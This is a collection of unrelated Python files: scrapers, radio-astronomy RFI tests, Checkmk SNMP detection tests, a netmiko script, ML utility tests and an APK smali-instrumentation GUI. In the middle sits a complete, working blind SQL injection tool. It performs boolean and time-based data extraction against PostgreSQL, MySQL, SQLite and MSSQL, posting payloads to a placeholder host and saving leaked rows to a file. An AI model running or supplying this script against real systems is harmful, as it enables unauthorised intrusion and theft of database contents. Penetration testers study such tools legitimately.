            item['actor'] = ''
            item['describe'] = ''
            item['isVip'] = 1
            item['comment'] = 0
            item['recommend'] = ''
            item['platform'] = 'tencent'
            item['sca_app_id'] = 5006
            item['cat1'] = '视频'
            item['cat2'] = '综艺'
            yield item


#!/usr/bin/env python
import requests as r
from pyquery import PyQuery as pq
import os

url = 'http://dict.youdao.com/fsearch?q=%s'

try:
    html = r.get(url % os.sys.argv[1]).content
    d = pq(html)
    if not len([print(v.text) for v in d('phonetic-symbol,content')]):
        print("can't find word")
except:
    print("you need input word")


""" Unit tests for RFI simulation

"""

import os
import logging
import unittest

import astropy.units as u
import numpy
import numpy.testing
from astropy.coordinates import SkyCoord

from rascil.data_models import PolarisationFrame, rascil_path
from rascil.processing_components import (
    create_blockvisibility,
    qa_image,
    export_image_to_fits,
    create_image_from_visibility,
    invert_ng,
)
from rascil.processing_components.simulation import create_named_configuration
from rascil.processing_components.simulation.rfi import (
    simulate_rfi_block_prop,
)

log = logging.getLogger("rascil-logger")
log.setLevel(logging.WARNING)

class TestRFIRegression(unittest.TestCase):
    def setUp(self):
        self.persist = os.getenv("RASCIL_PERSIST", False)

    def setup_telescope(self, telescope):
        """Initialise common elements"""
        rmax = 50.0
        antskip = 1
        self.configuration = create_named_configuration(
            telescope, rmax=rmax, skip=antskip
        )
        self.nants = len(self.configuration.names)

        ftimes = (numpy.pi / 43200.0) * numpy.arange(-3600.0, +3600.0, 225.0)
        log.info(f"Times: {ftimes}")
        if telescope == "MID":
            ffrequency = numpy.linspace(1.4e9, 1.9e9, 5)
            channel_bandwidth = numpy.array([1e8, 1e8, 1e8, 1e8, 1e8])
        else:
            ffrequency = numpy.linspace(1.3e8, 1.5e8, 5)
            channel_bandwidth = numpy.array([4e6, 4e6, 4e6, 4e6, 4e6])

        polarisation_frame = PolarisationFrame("linear")
        # Set the phasecentre close to the horizon since we don't have
        # the far sidelobes yet
        phasecentre = SkyCoord(
            ra=0.0 * u.deg, dec=+30.0 * u.deg, frame="icrs", equinox="J2000"
        )
        self.bvis = create_blockvisibility(
            self.configuration,
            ftimes,
            ffrequency,
            channel_bandwidth=channel_bandwidth,
            polarisation_frame=polarisation_frame,
            phasecentre=phasecentre,
            weight=1.0,
        )

        nants_start = self.nants

        self.emitter_power = numpy.zeros(
            (1, len(self.bvis.time), nants_start, len(self.bvis.frequency)),
            dtype=complex,
        )  # one source
        # only add signal to the 4th and 5th channels (for testing purposes)
        self.emitter_power[:, :, :, 3] = 1.0e-10
        self.emitter_power[:, :, :, 4] = 5.0e-10

        # azimuth, elevation, distance
        self.emitter_coordinates = numpy.ones(
            (1, len(self.bvis.time), nants_start, 3),
        )
        self.emitter_coordinates[:, :, :, 0] = (
            0.0 + numpy.linspace(-1.0, 1.0, 5)[numpy.newaxis, numpy.newaxis, :]
        )
        self.emitter_coordinates[:, :, :, 1] = (
            29.45 + numpy.linspace(-2.0, 2.0, 5)[numpy.newaxis, numpy.newaxis, :]
        )
        self.emitter_coordinates[:, :, :, 2] = (
            600000.0
            + numpy.linspace(-5000.0, 5000.0, 5)[numpy.newaxis, numpy.newaxis, :]
        )

    def test_simulate_rfi_block_prop_image_beam_true(self):
        """
        regression to test that simulate_rfi_block_prop correctly updates the
        block visibility data with RFI signal. We do this by making an image

        RFI signal is for the same frequency channels as the BlockVisibility has
        """
        self.setup_telescope("MID")
        bvis = self.bvis.copy(deep=True)

        simulate_rfi_block_prop(
            bvis,
            self.emitter_power,
            self.emitter_coordinates,
            ["source1"],
            bvis.frequency.values,
            low_beam_gain=None,
            apply_primary_beam=True,
        )

        model = create_image_from_visibility(bvis, npixel=1024, cellsize=0.002, nchan=1)
        dirty, sumwt = invert_ng(bvis, model)
        dirty["pixels"].data[numpy.abs(dirty["pixels"].data) > 1e6] = 0.0
        if self.persist:
            export_image_to_fits(
                dirty,
                rascil_path(f"test_results/test_rfi_image_withPBTrue.fits"),
            )
        qa = qa_image(dirty)

        numpy.testing.assert_approx_equal(
            qa.data["max"],
            218354.68943290864,
            8,
            err_msg=str(qa),
        )
        numpy.testing.assert_approx_equal(
            qa.data["min"], -137862.80398882864, 8, err_msg=str(qa)
        )

    def test_simulate_rfi_block_prop_image_beam_false(self):
        """
        regression to test that simulate_rfi_block_prop correctly updates the
        block visibility data with RFI signal. We do this by making an image

        RFI signal is for the same frequency channels as the BlockVisibility has
        """
        self.setup_telescope("MID")
        bvis = self.bvis.copy(deep=True)

        simulate_rfi_block_prop(
            bvis,
            self.emitter_power,
            self.emitter_coordinates,
            ["source1"],
            bvis.frequency.values,
            low_beam_gain=None,
            apply_primary_beam=False,
        )

        model = create_image_from_visibility(bvis, npixel=1024, cellsize=0.002, nchan=1)
        dirty, sumwt = invert_ng(bvis, model)
        dirty["pixels"].data[numpy.abs(dirty["pixels"].data) > 1e6] = 0.0
        if self.persist:
            export_image_to_fits(
                dirty,
                rascil_path(f"test_results/test_rfi_image_withPBFalse.fits"),
            )
        qa = qa_image(dirty)

        numpy.testing.assert_approx_equal(
            qa.data["max"], 999979.7305620918, 8, err_msg=str(qa)
        )
        numpy.testing.assert_approx_equal(
            qa.data["min"], -999962.1676042686, 8, err_msg=str(qa)
        )

if __name__ == "__main__":
    unittest.main()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
import time
import urllib3
import requests
import datetime
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CHANGE THIS #
PRE = "' OR"   # string to put before each payload
POST = '--'    # string to after before each payload
sleep_time = 2 # seconds to sleep in time based SQLi
###############

# CHANGE THIS
def send_req(payload):
    #print(payload)
    params = {}
    cookies = {}
    headers = {}
    data = {'pwn': payload}
    proxies = {}
    # proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
    url = 'http://10.10.10.10/index.php'
    r = requests.post(
        url,
        params=params,
        data=data,
        headers=headers,
        verify=False,
        proxies=proxies,
        allow_redirects=False,
        cookies=cookies
    )
    return r

# printable chars:
# 9, 10, 13, 11, 12
# 32-126
start_char = 9
end_char = 126
# max number of rows
max_row_num = 50
# max row length
max_row_length = 1000
# keep track of the number of requests made
num_queries = 0
# Content-Length in boolean and nanoseconds in time
compare_value = None

def check_if_true(sqlitype, r, time_elapsed):
    if sqlitype == 'time':
        return time_elapsed >= compare_value
    else:
        # checking the content length is good enough for most cases
        return int(r.headers['Content-Length']) == compare_value

class Database():
    def __init__(self):
        self.query = None
        self.q_data = None
        self.leaks = []
        self.substring = ''
        self.ascii = ''
        self.version_query = ''
        self.db_name = ''
        self.type = ''

    def set_type(self, sqli_type):
        self.type = sqli_type

    def select_row(self, row_num):
        pass

    def add_sleep(self, query):
        pass

    def value_larger_than(self, query, number):
        pass

    def num_rows_larger_than(self, number):
        pass

    def set_compare_value(self):
        global compare_value
        test_query = f'{PRE} (select 1)=1 {POST}'
        measurements = []
        if self.type == 'time':
            # this can be probably be done better
            for i in range(10):
                start = time.time_ns()
                send_req(test_query)
                end = time.time_ns()
                measurements.append(end - start)
            max_value = max(measurements)
            compare_value = max_value + (sleep_time * 1000000000)
            compare_value *= 0.85
        else:
            r = send_req(test_query)
            compare_value = int(r.headers['Content-Length'])

    def query_equals_true(self, payload):
        global num_queries
        num_queries += 1
        if self.type == 'time':
            payload = self.add_sleep(payload)
        payload = f'{PRE} {payload} {POST}'
        start = time.time_ns()
        r = send_req(payload)
        end = time.time_ns()
        time_elapsed = end - start
        return check_if_true(self.type, r, time_elapsed)

    def parse_query(self):
        parsed = {}
        # get the selection
        match = re.search(r'select (.+?)( from|$)', self.query, re.IGNORECASE)
        if match is None:
            exit('The query needs to start with SELECT')
        parsed['selection'] = match.group(1).strip()
        # get the name of the column
        match = re.search(r'.*? as (\w+)', parsed['selection'], re.IGNORECASE)
        if match is not None:
            parsed['col_name'] = match.group(1).strip()
        else:
            match = re.search(r'^[a-zA-Z_][a-zA-Z0-9_]*$', parsed['selection'])
            if match is None:
                print('column name not recognized')
                print('make sure you only include one column')
                print('including an \'as aliasname\' on the target column might help')
                exit()
            parsed['col_name'] = parsed['selection']
        # get the table, if any
        match = re.search(r'select .+? from (.+?)(?: where|$)', self.query, re.IGNORECASE)
        parsed['has_from'] = match is not None
        if parsed['has_from']:
            parsed['table'] = match.group(1).strip()
            # get the where part, if any
            match = re.search(r'select .+? from .+? where (.+)', self.query, re.IGNORECASE)
            parsed['has_where'] = match is not None
            if parsed['has_where']:
                parsed['where'] = match.group(1).strip()
        self.q_data = parsed

    def get_row_length(self, row_num):
        col_name = self.q_data['col_name']

        if self.q_data['has_from']:
            query = self.select_row(row_num)
        else:
            query = self.query

        # check that the query actually returns something
        null_test = f"EXISTS({query})"
        if self.query_equals_true(null_test) is False:
            print('[!] the query did not return any results')
            return 0

        # check the it doesn't return NULL
        null_test = f"1 = (select count(1) from ({query}) as T where {col_name} IS NOT NULL)"
        if self.query_equals_true(null_test) is False:
            print('[!] the query returns NULL')
            return 0

        # get the length of the response
        start = 0
        end = max_row_length  # this could be larger
        while start != end:
            middle = (end + start) // 2
            payload = self.value_larger_than(query, middle)
            if self.query_equals_true(payload):
                start = middle + 1
            else:
                end = middle
        return start

    def get_num_rows(self):
        start = 1
        end = max_row_num  # this could be larger
        while start != end:
            middle = (end + start) // 2
            payload = self.num_rows_larger_than(middle)
            if self.query_equals_true(payload):
                start = middle + 1
            else:
                end = middle
        return start

    def leak_query(self, query):
        if query == '':
            query = self.version_query
        print(f'[i] query: {query}')
        self.query = query
        self.set_compare_value()
        self.parse_query()
        self.leaks = []
        has_table = self.q_data['has_from']
        if has_table:
            num_rows = self.get_num_rows()
        else:
            num_rows = 1
        print(f'[i] number of rows: {num_rows}')
        if num_rows == 0:
            return self.leaks
        try:
            for row_num in range(1, num_rows + 1):
                leak = ''
                length = self.get_row_length(row_num)
                for i in range(1, length + 1):
                    start = start_char
                    end = end_char
                    while start != end:
                        middle = (end + start) // 2
                        if has_table:
                            q = self.select_row(row_num)
                        else:
                            q = self.query
                        payload = f"{self.ascii}({self.substring}(({q}),{i},1))>{middle}"
                        if self.query_equals_true(payload):
                            start = middle + 1
                        else:
                            end = middle
                    leak += chr(start)
                    print(f'[+] leaking row {row_num}: {leak}', end='\r')

                if length > 0:
                    print(f'[+] leaked row {row_num}: {leak}  ')
                    self.leaks.append(leak)
        except KeyboardInterrupt:
            print('')
        return self.leaks

class PostgreSQL(Database):
    def __init__(self):
        super().__init__()
        self.substring = 'substring'
        self.ascii = 'ascii'
        self.version_query = 'select substring(version(),1,10) as leak'
        self.db_name = 'PostgreSQL'

    def select_row(self, row_num):
        return f'{self.query} limit 1 offset {row_num-1}'

    def add_sleep(self, query):
        return f'({query} AND 1=(select 1 from pg_sleep({sleep_time})))'

    def value_larger_than(self, query, number):
        col_name = self.q_data['col_name']
        return f"(select length({col_name}) from ({query}) as T)>{number}"

    def num_rows_larger_than(self, number):
        return f'(select count(*) from ({self.query}) as T)>{number}'

class MySQL(Database):
    def __init__(self):
        super().__init__()
        self.substring = 'mid'
        self.ascii = 'ascii'
        self.version_query = 'select version() as leak'
        self.db_name = 'MySQL'

    def select_row(self, row_num):
        return f'{self.query} limit {row_num-1},1'

    def add_sleep(self, query):
        return f'if({query},sleep({sleep_time}),0)'

    def value_larger_than(self, query, number):
        col_name = self.q_data['col_name']
        return f"(select length({col_name}) from ({query}) as T)>{number}"

    def num_rows_larger_than(self, number):
        return f'(select count(*) from ({self.query}) as T)>{number}'

class SQLite(Database):
    def __init__(self):
        super().__init__()
        self.substring = 'substr'
        self.ascii = 'unicode'
        self.version_query = 'select sqlite_version() as leak'
        self.db_name = 'SQLite'

    def select_row(self, row_num):
        return f'{self.query} limit {row_num-1},1'

    def add_sleep(self, query):
        return f'{query} and 1=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB({sleep_time}00000000/2))))'

    def value_larger_than(self, query, number):
        col_name = self.q_data['col_name']
        return f"(select length({col_name}) from ({query}) as T)>{number}"

    def num_rows_larger_than(self, number):
        return f'(select count(*) from ({self.query}) as T)>{number}'

class MSSQL(Database):
    def __init__(self):
        super().__init__()
        self.substring = 'substring'
        self.ascii = 'unicode'
        self.version_query = 'select substring(@@version,1,20) as leak'
        self.db_name = 'MSSQL'

    def select_row(self, row_num):
        col_name = self.q_data['col_name']
        table = self.q_data['table']
        where_added = f"{col_name} not in (select top {row_num} {col_name} from {table} order by {col_name}) order by {col_name}"
        if self.q_data['has_where']:
            original_where = self.q_data['where']
            where = f"({original_where}) and {where_added}"
        else:
            where = where_added
        selection = self.q_data['selection']
        table = self.q_data['table']
        return f"select top 1 {selection} from {table} where {where}"

    def add_sleep(self, query):
        exit('Time based SQLi for MSSQL is not supported!')

    def value_larger_than(self, query, number):
        return f'UNICODE(SUBSTRING(({query}),{number},1))>1'

    def num_rows_larger_than(self, number):
        query = self.query.replace(self.q_data['selection'], 'count(*)')
        return f'({query})>{number}'

def save_leak(output, query, leak):
    if len(leak) > 0:
        with open(output, 'a') as f:
            f.write(f'{query}\n')
            for i, entry in enumerate(leak):
                f.write(f'row {i+1}: {entry}\n')
            f.write('\n')
        print(f'[+] saved all rows in {output}')

def main(db_type, sqli_type, query, output):
    print('\033[1m\033[94mBlind SQL injection script\033[0m\033[0m\n')

    if db_type == 'postgresql':
        db = PostgreSQL()
    elif db_type == 'mysql':
        db = MySQL()
    elif db_type == 'sqlite':
        db = SQLite()
    elif db_type == 'mssql':
        db = MSSQL()

    db.set_type(sqli_type)

    print(f'[i] exploiting a {sqli_type} based SQL injection on {db.db_name}')

    start = time.time()

    # exploit!
    leak = db.leak_query(query)
    save_leak(output, query, leak)

    end = time.time()
    run_time = str(datetime.timedelta(seconds=round(end-start)))

    print(f'[i] completed after {num_queries} requests in {run_time}')

if __name__ == '__main__':
    try:
        parser = argparse.ArgumentParser(description='MySQLi, a blind SQL injection script')
        parser.add_argument(
            '-q',
            '--query',
            dest='query',
            metavar='"SELECT foo FROM bar"',
            help='The SQL query to leak',
            default='')
        parser.add_argument(
            '-db',
            '--database',
            dest='db',
            help='Database type',
            choices=['mysql', 'sqlite', 'mssql', 'postgresql'],
            required=True)
        parser.add_argument(
            '-t',
            '--type',
            dest='type',
            help='SQL injection type',
            choices=['time', 'boolean'],
            required=True)
        parser.add_argument('-o',
            '--output',
            dest='output',
            metavar='output.txt',
            help='Filename to save the output',
            default='output.txt')
        args = parser.parse_args()

        if args.db == 'mssql' and args.type == 'time':
            exit('MSSQL only supports boolean based SQLi, sorry!')

        main(args.db, args.type, args.query, args.output)
    except KeyboardInterrupt:
        print('')


from gui import Ui_MainWindow
import sys
from PyQt5.QtWidgets import *
from PyQt5.QtCore import QTimer, pyqtSignal
import os
import threading
import shutil
import datetime

class APKSoupMain(QMainWindow):
    injectSignal = pyqtSignal()
    progressSignal = pyqtSignal(int)

    def __init__(self):
        super().__init__()

        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        self.ui.browseFilesBtn.clicked.connect(self.browse_files)
        self.ui.SoupProgressBar.hide()
        self.ui.soupButton.clicked.connect(self.start_injection)

        self.progress_timer = QTimer()
        self.progress_timer.timeout.connect(self.update_progress)

        self.injectSignal.connect(self.inject)
        self.progressSignal.connect(self.update_progress_bar)

    def browse_files(self):
        folderPath = QFileDialog.getExistingDirectory(
            self, "Select the directory with your decompiled Android application")
        if folderPath:
            self.ui.apkFolderPathInputBox.setText(folderPath)

    def start_injection(self):
        if not self.ui.apkFolderPathInputBox.text():
            self.show_error("Error", "Folder path is empty.")
        else:
            self.ui.SoupProgressBar.setValue(0)
            self.ui.SoupProgressBar.show()
            self.ui.soupButton.hide()
            self.ui.apkFolderPathInputBox.setReadOnly(True)
            self.ui.browseFilesBtn.hide()
            directory_path = self.ui.apkFolderPathInputBox.text()
            self.find_smali_files(directory_path)

    def find_smali_files(self, directory):
        print("Processing apk...")
        filetypes = ['.smali']
        smali_files = []

        for current_folder, _, files in os.walk(directory):
            for file in files:
                for filetype in filetypes:
                    if file.endswith(filetype):
                        smali_files.append(os.path.join(current_folder, file))
        print("Sending mapped smali files to instrument()")
        self.instrument(smali_files)

    def instrument(self, smali_files):
        thread = threading.Thread(
            target=self.instrument_thread, args=(smali_files,))
        thread.start()

    def instrument_thread(self, smali_files):
        total_files = len(smali_files)
        for index, smali_file in enumerate(smali_files, start=1):
            self.update_instrument_progress(index, total_files)
            self.modify_smali_file(smali_file)

        self.progressSignal.emit(0)
        self.injectSignal.emit()

    def modify_smali_file(self, smali_file):
        with open(smali_file, 'r') as file:
            smali_content = file.readlines()

        modified_content = []
        inserting_line = True

        for line in smali_content:
            modified_content.append(line)

            if inserting_line and line.startswith(".method"):
                modified_content.append(
                    "\tinvoke-static {}, Lcom/supertavor/apksoup/CallerCheck;->throwInvisibleException()V\n")
                inserting_line = False

            if line.startswith(".end method"):
                inserting_line = True

        with open(smali_file, 'w') as file:
            file.writelines(modified_content)

    def inject(self):
        try:
            source_path = "res/supertavor/"
            destination_path = os.path.join(
                self.ui.apkFolderPathInputBox.text(), "com/supertavor/")
            os.makedirs(destination_path, exist_ok=True)

            total_items = len(os.listdir(source_path))
            for index, item in enumerate(os.listdir(source_path), start=1):
                self.update_inject_progress(index, total_items)
                source_item = os.path.join(source_path, item)
                destination_item = os.path.join(destination_path, item)
                if os.path.isdir(source_item):
                    shutil.copytree(source_item, destination_item)
                else:
                    shutil.copy2(source_item, destination_item)

            print("Injection complete!")
            self.progress_timer.stop()
            self.progressSignal.emit(100)
            self.ui.soupButton.show()
            self.ui.apkFolderPathInputBox.setReadOnly(False)
            self.ui.browseFilesBtn.show()
            self.ui.SoupProgressBar.hide()
        except Exception as e:
            self.handle_error("An error occurred during injection:", e)

    def update_instrument_progress(self, current_file, total_files):
        progress = int((current_file / total_files) * 50)
        self.update_progress_bar(progress)

    def update_inject_progress(self, current_item, total_items):
        progress = int(50 + (current_item / total_items) * 50)
        self.update_progress_bar(progress)

    def update_progress_bar(self, value):
        self.ui.SoupProgressBar.setValue(value)

    def update_progress(self):
        current_value = self.ui.SoupProgressBar.value()
        if current_value < 100:
            new_value = current_value + 1
            self.ui.SoupProgressBar.setValue(new_value)
        else:
            self.progress_timer.stop()
            self.ui.SoupProgressBar.hide()
            self.ui.soupButton.show()
            self.ui.apkFolderPathInputBox.setReadOnly(False)
            self.ui.browseFilesBtn.show()
            print("Process complete!")

    def show_error(self, title, message):
        QMessageBox.critical(self, title, message)

    def handle_error(self, message, error):
        error_message = f"{message}\n\nError details: {str(error)}"
        self.show_error("Error", error_message)

if __name__ == '__main__':
    app = QApplication(sys.argv)
    window = APKSoupMain()
    window.show()
    sys.exit(app.exec_())


import numpy as np
from pymongo import MongoClient
import pyaudio
import click
from bunch import Bunch

db = MongoClient("sqwak.kingofthestack.com")

def get_unrated_sample():
    result = db.sqwaks.sounds.find_one({
        "rating": None
    })
    db_amps = np.array(result["amplitudes"])
    return Bunch({
        "amplitudes": db_amps,
        "id": result["_id"]
    })

def rate_sample(id, rating):
    db.sqwaks.sounds.update_one({
        "_id": id
    }, {
        '$set': {
            "rating": rating
        }
    }, upsert=False)

def play(amplitudes):
    p = pyaudio.PyAudio()

    playback_settings = {
        'format': pyaudio.paFloat32,
        'channels': 1,
        'rate': 44100,
        'output': True,
        'output_device_index': 1
    }

    stream = p.open(**playback_settings)

    # Assuming you have a numpy array called samples
    data = amplitudes.astype(np.float32).tostring()
    stream.write(data)

""" Defines a custom param type for click's input validation """
class FloatInRangeParamType(click.ParamType):

    def __init__(self, min_float=0.0, max_float=1.0):
        self.min_float = min_float
        self.max_float = max_float

    def convert(self, value, param, ctx):
        try:
            number = float(value)
            if (number >= self.min_float and number <= self.max_float):
                return number
            else:
                raise ValueError()
        except ValueError:
            self.fail('%s is not a float within the given range' % value, param, ctx)

def main():
    is_rating = True
    FLOAT_IN_RANGE = FloatInRangeParamType()
    while(is_rating):
        if click.confirm('Do you want to continue?'):
            sample = get_unrated_sample()
            play(sample.amplitudes)
            rating = click.prompt('Rate that sqwak! (0.0 - 1.0)', type=FLOAT_IN_RANGE)
            rate_sample(sample.id, rating)
        else:
            click.echo("Goodbye!")
            is_rating = False

if(__name__ == "__main__"):
    main()


from collections.abc import Callable, Iterable, Sequence

import pytest

# not ideal, but for now access this member.
# TODO: find out if it's ok for the fetcher to have the API as
# a dependency, b/c that is where this function belongs.
from cmk.fetchers._snmpscan import _evaluate_snmp_detection

from cmk.agent_based.v1 import (
    all_of,
    any_of,
    contains,
    endswith,
    exists,
    matches,
    not_contains,
    not_endswith,
    not_exists,
    not_startswith,
    startswith,
)

_SpecCreator = Callable[[str, str], list[list[tuple[str, str, bool]]]]

def _make_oid_getter(return_value: str) -> Callable[[str], str]:
    def getter(_oid: str) -> str:
        return return_value

    return getter

def _test_atomic_relation(
    relation: _SpecCreator, inverse: _SpecCreator, value: str, testcases: Iterable[tuple[str, bool]]
) -> None:
    spec = relation(".1.2.3", value)
    inv_spec = inverse(".1.2.3", value)
    for test, result in testcases:
        assert (
            _evaluate_snmp_detection(detect_spec=spec, oid_value_getter=_make_oid_getter(test))
            is result
        )
        assert (
            _evaluate_snmp_detection(detect_spec=inv_spec, oid_value_getter=_make_oid_getter(test))
            is not result
        )

@pytest.mark.parametrize(
    "value, testcases",
    [
        (
            "foo",
            [
                ("", False),
                ("foo", True),
                ("foobar", True),
                ("foobarfoo", True),
                ("barfoo", True),
                ("barfoobar", True),
                ("fürwahr", False),
            ],
        ),
        (
            "bo?",
            [
                ("boo", False),
                ("bo?nee", True),
                ("hobo?nee", True),
                ("hallobo?", True),
            ],
        ),
    ],
)
def test_contains(value: str, testcases: Sequence[tuple[str, bool]]) -> None:
    _test_atomic_relation(contains, not_contains, value, testcases)

@pytest.mark.parametrize(
    "value, testcases",
    [
        (
            "foo",
            [
                ("", False),
                ("foo", True),
                ("foobar", True),
                ("foobarfoo", True),
                ("barfoo", False),
                ("barfoobar", False),
                ("fürwahr", False),
            ],
        ),
        (
            "bo?",
            [
                ("boo", False),
                ("bo?nee", True),
                ("hobo?nee", False),
                ("hallobo?", False),
            ],
        ),
    ],
)
def test_startswith(value: str, testcases: Sequence[tuple[str, bool]]) -> None:
    _test_atomic_relation(startswith, not_startswith, value, testcases)

@pytest.mark.parametrize(
    "value, testcases",
    [
        (
            "foo",
            [
                ("", False),
                ("foo", True),
                ("foobar", False),
                ("foobarfoo", True),
                ("barfoo", True),
                ("barfoobar", False),
                ("fürwahr", False),
            ],
        ),
        (
            "bo?",
            [
                ("boo", False),
                ("bo?nee", False),
                ("hobo?nee", False),
                ("hallobo?", True),
            ],
        ),
    ],
)
def test_endswith(value: str, testcases: Sequence[tuple[str, bool]]) -> None:
    _test_atomic_relation(endswith, not_endswith, value, testcases)

@pytest.mark.parametrize(
    "test, result",
    [
        ("", True),
        ("foo", True),
        ("foobar", True),
        ("foobarfoo", True),
        ("barfoo", True),
        ("barfoobar", True),
        ("fürwahr", True),
    ],
)
def test_exists(test: str, result: bool) -> None:
    assert (
        _evaluate_snmp_detection(
            detect_spec=exists(".1.2.3"), oid_value_getter=_make_oid_getter(test)
        )
        is result
    )
    assert (
        _evaluate_snmp_detection(
            detect_spec=not_exists(".1.2.3"), oid_value_getter=_make_oid_getter(test)
        )
        is not result
    )

def test_all_of_associative() -> None:
    spec1 = matches(".1", "1?")
    spec2 = matches(".2", "2?")
    spec3 = matches(".3", "3?")

    assert all_of(spec1, spec2, spec3) == all_of(all_of(spec1, spec2), spec3)

def test_any_of_assotiative() -> None:
    spec1 = matches(".1", "1?")
    spec2 = matches(".2", "2?")
    spec3 = matches(".3", "3?")

    assert any_of(spec1, spec2, spec3) == any_of(any_of(spec1, spec2), spec3)

def test_any_of_all_of_distibutive() -> None:
    spec1 = matches(".1", "1?")
    spec2 = matches(".2", "2?")
    spec3 = matches(".3", "3?")
    spec4 = matches(".4", "4?")

    assert all_of(
        any_of(spec1, spec2),
        any_of(spec3, spec4),
    ) == any_of(
        all_of(spec1, spec3),
        all_of(spec1, spec4),
        all_of(spec2, spec3),
        all_of(spec2, spec4),
    )


import json
import pytest
import logging

def load_configurations():
    with open("configurations/config.json") as f:
        configurations = json.load(f)
        # loop dictionary and store in list of tuples
        list_tuples = []
        for config in configurations:
            tuple_config = (config["config_id"], config["version"], config["input_file"])
            list_tuples.append(tuple_config)

        return list_tuples

@pytest.mark.parametrize("config_id, version, input_file", load_configurations())
def test_configuration(config_id, version, input_file):
    # logging.info("Testing configuration: {}".format(config["config_id"]))
    # logging.debug("Testing configuration: {}".format(config["config_id"]))
    # config_id = config["config_id"]
    # version = config["version"]
    # input_file = config["input_file"]

    assert config_id == "config_1"


from pprint import pprint

import yaml
from netmiko import (ConnectHandler, NetmikoAuthenticationException,
                     NetmikoTimeoutException)

def send_show_command(device, commands):
    result = {}
    try:
        with ConnectHandler(**device) as ssh:
            ssh.enable()
            for command in commands:
                output = ssh.send_command(command)
                result[command] = output
        return result
    except (NetmikoTimeoutException, NetmikoAuthenticationException) as error:
        print(error)

if __name__ == "__main__":
    with open("devices.yaml") as f:
        devices = yaml.safe_load(f)
    for device in devices:
        result = send_show_command(device, ["sh clock", "sh ip int br"])
        pprint(result, width=120)


import unittest
from collections import Counter

import numpy as np
import scipy.sparse as sparse
import torch

from metal.utils import pred_to_prob, rargmax, recursive_merge_dicts, split_data

class UtilsTest(unittest.TestCase):
    def test_rargmax(self):
        x = np.array([2, 1, 2])
        np.random.seed(1)
        self.assertEqual(sorted(list(set(rargmax(x) for _ in range(10)))), [0, 2])

    def test_pred_to_prob(self):
        x = torch.tensor([1, 2, 2, 1])
        target = torch.tensor([[1, 0], [0, 1], [0, 1], [1, 0]])
        self.assertTrue(
            (pred_to_prob(x, 2).float() == target.float()).sum()
            == torch.prod(torch.tensor(target.shape))
        )

    def test_recursive_merge_dicts(self):
        x = {"foo": {"Foo": {"FOO": 1}}, "bar": 2, "baz": 3}
        y = {"FOO": 4, "bar": 5}
        z = {"foo": 6}
        w = recursive_merge_dicts(x, y, verbose=False)
        self.assertEqual(w["bar"], 5)
        self.assertEqual(w["foo"]["Foo"]["FOO"], 4)
        with self.assertRaises(ValueError):
            recursive_merge_dicts(x, z, verbose=False)

    def test_split_data(self):
        N = 1000
        K = 4

        X = np.arange(0, N)
        Y = np.random.randint(0, K, size=N).astype(int)

        # Creates splits of correct size
        splits = [800, 100, 100]
        Xs_1 = split_data(X, splits=splits, shuffle=False)
        for i, count in enumerate(splits):
            self.assertEqual(len(Xs_1[i]), count)

        # Accepts floats or ints
        splits = [0.8, 0.1, 0.1]
        Xs_2 = split_data(X, splits=splits, shuffle=False)
        for split in range(len(splits)):
            self.assertTrue(np.array_equal(Xs_2[split], Xs_1[split]))

        # Shuffles correctly
        Xs_3 = split_data(X, splits=splits, shuffle=True, seed=123)
        self.assertNotEqual(Xs_3[0][0], Xs_2[0][0])

        # Indices only
        splits = [0.8, 0.1, 0.1]
        Ys = split_data(Y, splits=splits, shuffle=False, index_only=True)
        self.assertGreater(max(Ys[0]), K)

        # Handles multiple inputs
        Xs, Ys = split_data(X, Y, splits=splits, shuffle=True, seed=123)
        self.assertEqual(Ys[0][0], Y[Xs[0][0]])

        # Confirm statification (correct proportion of labels in each split)
        Ys = split_data(Y, splits=splits, stratify_by=Y, seed=123)
        counts = [Counter(Y) for Y in Ys]
        for y in np.unique(Y):
            ratio0 = counts[0][y] / len(Ys[0])
            ratio1 = counts[1][y] / len(Ys[1])
            ratio2 = counts[2][y] / len(Ys[2])
            self.assertLess(abs(ratio0 - ratio1), 0.05)
            self.assertLess(abs(ratio0 - ratio2), 0.05)

        # Handles scipy.sparse matrices
        Z = sparse.csr_matrix([[1, 0, 1, 2], [0, 3, 0, 3], [1, 2, 3, 4], [5, 4, 3, 2]])
        splits = [0.75, 0.25]
        Zs = split_data(Z, splits=splits, shuffle=True, seed=123)
        self.assertEqual(Zs[0].shape, (3, 4))

        # Handles torch.Tensors
        W = torch.Tensor([[1, 0, 1, 2], [0, 3, 0, 3], [1, 2, 3, 4], [5, 4, 3, 2]])
        splits = [0.75, 0.25]
        Ws = split_data(W, splits=splits, shuffle=True, seed=123)
        self.assertEqual(Ws[0].shape, (3, 4))

if __name__ == "__main__":
    unittest.main()


"""
Abstract class that takes care of a lot of the boiler plate code.
"""
import os

import cv2
import numpy as np
import torch
from PIL import Image, ImageFile

ImageFile.LOAD_TRUNCATED_IMAGES = True

class AbstractDataset(torch.utils.data.Dataset):
    def __init__(self, name, split, data_root):
        # dataset parameters
        self.name = name
        self.root = data_root
        self.split = split

    def __len__(self):
        pass

    def __getitem__(self, index):
        pass

    def get_rgba(self, path, bbox=None):
        path = os.path.join(self.root, path)
        with open(path, "rb") as f:
            with Image.open(f) as img:
                img = img.convert("RGBA")
                if bbox is not None:
                    img = img.crop(box=bbox)
                return img

    def get_rgb_alpha(self, path, bbox=None):
        path = os.path.join(self.root, path)
        with open(path, "rb") as f:
            with Image.open(f) as img:
                _, _, _, a = img.split()
                img = img.convert("RGB")
                if bbox is not None:
                    img = img.crop(box=bbox)
                    a = a.crop(box=bbox)
                a = np.array(a).astype(dtype=np.float)
                return img, a

    def get_alpha(self, path, bbox=None):
        path = os.path.join(self.root, path)
        with open(path, "rb") as f:
            with Image.open(f) as img:
                r, g, b, a = img.split()
                if bbox is not None:
                    a = a.crop(box=bbox)
                a = np.array(a).astype(dtype=np.float)
        return a

    def get_img(self, path, bbox=None):
        path = os.path.join(self.root, path)
        with open(path, "rb") as f:
            with Image.open(f) as img:
                if bbox is not None:
                    img = img.crop(box=bbox)
                return np.array(img)

    def get_npy(self, path):
        path = os.path.join(self.root, path)
        return np.load(path)

    def get_rgb(self, path, bbox=None):
        path = os.path.join(self.root, path)
